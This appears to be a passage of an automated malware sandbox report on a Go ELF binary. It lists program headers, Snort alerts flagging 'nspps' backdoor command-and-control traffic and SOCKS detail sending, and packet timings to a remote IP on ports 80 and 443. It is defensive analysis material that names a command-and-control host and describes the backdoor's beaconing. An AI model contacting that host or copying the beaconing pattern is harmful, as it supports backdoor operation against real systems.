                                                PHDR0x400x100400x100400x1880x1881.49310x4R 0x10000
                                                NOTE0xf9c0x10f9c0x10f9c0x640x645.29590x4R 0x4.note.go.buildid
                                                LOAD0x00x100000x100000x29bf200x29bf206.10470x5R E0x10000.text .note.go.buildid
                                                LOAD0x2a00000x2b00000x2b00000x2881a80x2881a85.09450x4R 0x10000.rodata .typelink .itablink .gosymtab .gopclntab
                                                LOAD0x5300000x5400000x5400000x646200x9ea086.06000x6RW 0x10000.go.buildinfo .noptrdata .data .bss .noptrbss
                                                GNU_STACK0x00x00x00x00x00.00000x6RW 0x8
                                                LOOS+50415800x00x00x00x00x00.00000x2a00 0x8

                                                Network Behavior

                                                Download Network PCAP: filtered – full

                                                Snort IDS Alerts

                                                TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                192.168.2.23185.154.53.14051178802030108 11/29/23-18:00:28.364246TCP2030108ET TROJAN nspps Backdoor CnC Activity5117880192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051162802030108 11/29/23-18:00:06.985572TCP2030108ET TROJAN nspps Backdoor CnC Activity5116280192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051166802030108 11/29/23-18:00:09.294226TCP2030108ET TROJAN nspps Backdoor CnC Activity5116680192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051198802030108 11/29/23-18:00:33.079065TCP2030108ET TROJAN nspps Backdoor CnC Activity5119880192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051174802030108 11/29/23-18:00:14.025607TCP2030108ET TROJAN nspps Backdoor CnC Activity5117480192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051178802030109 11/29/23-18:00:28.364246TCP2030109ET TROJAN nspps Backdoor - Sending SOCKS Details5117880192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051180802030108 11/29/23-18:00:28.364585TCP2030108ET TROJAN nspps Backdoor CnC Activity5118080192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051204802030108 11/29/23-18:00:36.347754TCP2030108ET TROJAN nspps Backdoor CnC Activity5120480192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051170802030108 11/29/23-18:00:11.590604TCP2030108ET TROJAN nspps Backdoor CnC Activity5117080192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051190802030108 11/29/23-18:00:30.732714TCP2030108ET TROJAN nspps Backdoor CnC Activity5119080192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051192802030108 11/29/23-18:00:30.771353TCP2030108ET TROJAN nspps Backdoor CnC Activity5119280192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051158802030108 11/29/23-18:00:04.674507TCP2030108ET TROJAN nspps Backdoor CnC Activity5115880192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051150802030108 11/29/23-17:59:58.397598TCP2030108ET TROJAN nspps Backdoor CnC Activity5115080192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051182802030108 11/29/23-18:00:28.368160TCP2030108ET TROJAN nspps Backdoor CnC Activity5118280192.168.2.23185.154.53.140
                                                192.168.2.23185.154.53.14051154802030108 11/29/23-18:00:02.260802TCP2030108ET TROJAN nspps Backdoor CnC Activity5115480192.168.2.23185.154.53.140

                                                Network Port Distribution

                                                • Total Packets: 293
                                                • • 443 (HTTPS)
                                                • • 80 (HTTP)
                                                • • 53 (DNS)
                                                TimestampSource PortDest PortSource IPDest IP
                                                Nov 29, 2023 17:58:48.716458082 CET43928443192.168.2.2391.189.91.42
                                                Nov 29, 2023 17:58:54.347439051 CET42836443192.168.2.2391.189.91.43
                                                Nov 29, 2023 17:58:55.115459919 CET4251680192.168.2.23109.202.202.202
                                                Nov 29, 2023 17:59:09.449635029 CET43928443192.168.2.2391.189.91.42
                                                Nov 29, 2023 17:59:21.735747099 CET42836443192.168.2.2391.189.91.43
                                                Nov 29, 2023 17:59:25.831274033 CET4251680192.168.2.23109.202.202.202
                                                Nov 29, 2023 17:59:50.403971910 CET43928443192.168.2.2391.189.91.42
                                                Nov 29, 2023 17:59:58.019480944 CET5115080192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:58.379829884 CET8051150185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:58.380043030 CET5115080192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:58.397598028 CET5115080192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:58.757208109 CET8051150185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:58.758219004 CET8051150185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:58.758270979 CET8051150185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:58.758388042 CET5115080192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:58.773400068 CET5115080192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:59.035695076 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:59.035727024 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:59.035810947 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:59.044286013 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 17:59:59.044301987 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 17:59:59.132946014 CET8051150185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.133363008 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.133430004 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.142299891 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.142307997 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.151717901 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.151722908 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.156898022 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.156985998 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.176625013 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.176841021 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.176892042 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.176920891 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.176970005 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.180361986 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.221280098 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.535191059 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.535326004 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.535343885 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.535382986 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.535391092 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:00.541003942 CET52160443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:00.541028023 CET44352160185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:01.889400005 CET5115480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.253881931 CET8051154185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.254192114 CET5115480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.260802031 CET5115480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.624752998 CET8051154185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.624886036 CET8051154185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.625071049 CET8051154185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.625101089 CET5115480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.627068043 CET5115480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.852360010 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.852410078 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.852464914 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.855950117 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:02.855976105 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:02.991014004 CET8051154185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.935133934 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.935425997 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.937786102 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.937799931 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.940107107 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.940124035 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.941617012 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.941679955 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.946333885 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.946717024 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.946784973 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.946815968 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:03.946861029 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.948817015 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:03.989267111 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:04.303539038 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:04.303726912 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:04.303795099 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:04.309109926 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:04.309889078 CET52164443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:04.309910059 CET44352164185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:04.671637058 CET8051158185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:04.671858072 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:04.674506903 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:04.677401066 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.037199020 CET8051158185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:05.037219048 CET8051158185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:05.037699938 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.039880037 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.040888071 CET8051158185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:05.040957928 CET5115880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.143785954 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.143868923 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:05.143939972 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.145812035 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:05.145848036 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:05.402393103 CET8051158185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.239891052 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.240211010 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.242930889 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.242948055 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.244851112 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.244862080 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.246335030 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.246385098 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.250612974 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.250709057 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.250746965 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.250758886 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.250794888 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.252594948 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.293289900 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.614581108 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.614706039 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.614753008 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.617041111 CET52168443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.617074013 CET44352168185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.620479107 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.983000040 CET8051162185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:06.983187914 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.985572100 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:06.986979008 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.348006964 CET8051162185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:07.348088980 CET8051162185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:07.348206043 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.349442959 CET8051162185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:07.350718021 CET5116280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.460818052 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.460866928 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:07.460927010 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.462133884 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:07.462155104 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:07.713229895 CET8051162185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.553028107 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.553260088 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.554688931 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.554697990 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.555890083 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.555896997 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.556787968 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.556837082 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.561115980 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.561162949 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.561197996 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.561203957 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.561229944 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.563666105 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.609250069 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.925470114 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.925559998 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.925628901 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.928458929 CET52172443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:08.928483009 CET44352172185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:08.929294109 CET5116680192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.291812897 CET8051166185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:09.292131901 CET5116680192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.294225931 CET5116680192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.656627893 CET8051166185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:09.656766891 CET8051166185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:09.656863928 CET5116680192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.656871080 CET8051166185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:09.659039974 CET5116680192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.758516073 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.758605003 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:09.758730888 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.760622025 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:09.760651112 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.021528006 CET8051166185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.851686954 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.851876020 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.853770018 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.853796959 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.855114937 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.855134964 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.856046915 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.856152058 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.860183001 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.860255957 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.860317945 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.860333920 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:10.860385895 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.862884998 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:10.905255079 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.224886894 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.225075006 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.225078106 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.229578018 CET52176443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.229639053 CET44352176185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.231003046 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.587332964 CET8051170185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.587743044 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.590604067 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.592051029 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.947181940 CET8051170185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.947338104 CET8051170185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.947540998 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:11.948441029 CET8051170185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:11.949012041 CET5117080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:12.202748060 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:12.202805042 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:12.202918053 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:12.204325914 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:12.204344988 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:12.308144093 CET8051170185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.286163092 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.286309004 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.287978888 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.287996054 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.289145947 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.289151907 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.290261030 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.290317059 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.293935061 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.294100046 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.294260025 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.294286966 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.294334888 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.295805931 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.337266922 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.652729034 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.652868986 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:13.652919054 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.662379026 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.663283110 CET52180443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:13.663305044 CET44352180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.023024082 CET8051174185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.023242950 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.025607109 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.027679920 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.383690119 CET8051174185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.383878946 CET8051174185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.383914948 CET8051174185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.384042978 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.386854887 CET5117480192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.489707947 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.489772081 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.489856958 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.493213892 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:14.493238926 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:14.743891001 CET8051174185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.596651077 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.597067118 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.600294113 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.600326061 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.602700949 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.602715015 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.604186058 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.604280949 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.616132975 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.616314888 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.616516113 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.616573095 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.616628885 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.619739056 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.661350012 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.983911037 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.984131098 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:15.984174013 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.986718893 CET52184443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:15.986772060 CET44352184185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:27.996005058 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:27.996978045 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:27.997642994 CET5118280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.360392094 CET8051178185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.360452890 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.360971928 CET8051180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.361008883 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.361892939 CET8051182185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.361963034 CET5118280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.364245892 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.364584923 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.367955923 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.368160009 CET5118280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.728302956 CET8051178185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.728324890 CET8051178185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.728365898 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.728518009 CET8051180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.728583097 CET8051180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.728646040 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.728648901 CET8051180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.731873035 CET8051178185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.732134104 CET8051182185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.732320070 CET8051182185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.732331991 CET8051182185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.732366085 CET5118280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.771032095 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.771089077 CET5118280192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.772717953 CET5117880192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.773893118 CET5118080192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886554003 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886626005 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886626959 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886631966 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.886648893 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.886651039 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.886699915 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886702061 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.886707067 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.904175997 CET52194443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.904192924 CET44352194185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.906723976 CET52196443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.906733036 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:28.919473886 CET52192443192.168.2.23185.154.53.140
                                                Nov 29, 2023 18:00:28.919548035 CET44352192185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.135590076 CET8051182185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.136575937 CET8051178185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.137842894 CET8051180185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.983747005 CET44352196185.154.53.140192.168.2.23
                                                Nov 29, 2023 18:00:29.983834982 CET52196443192.168.2.23185.154.53.140
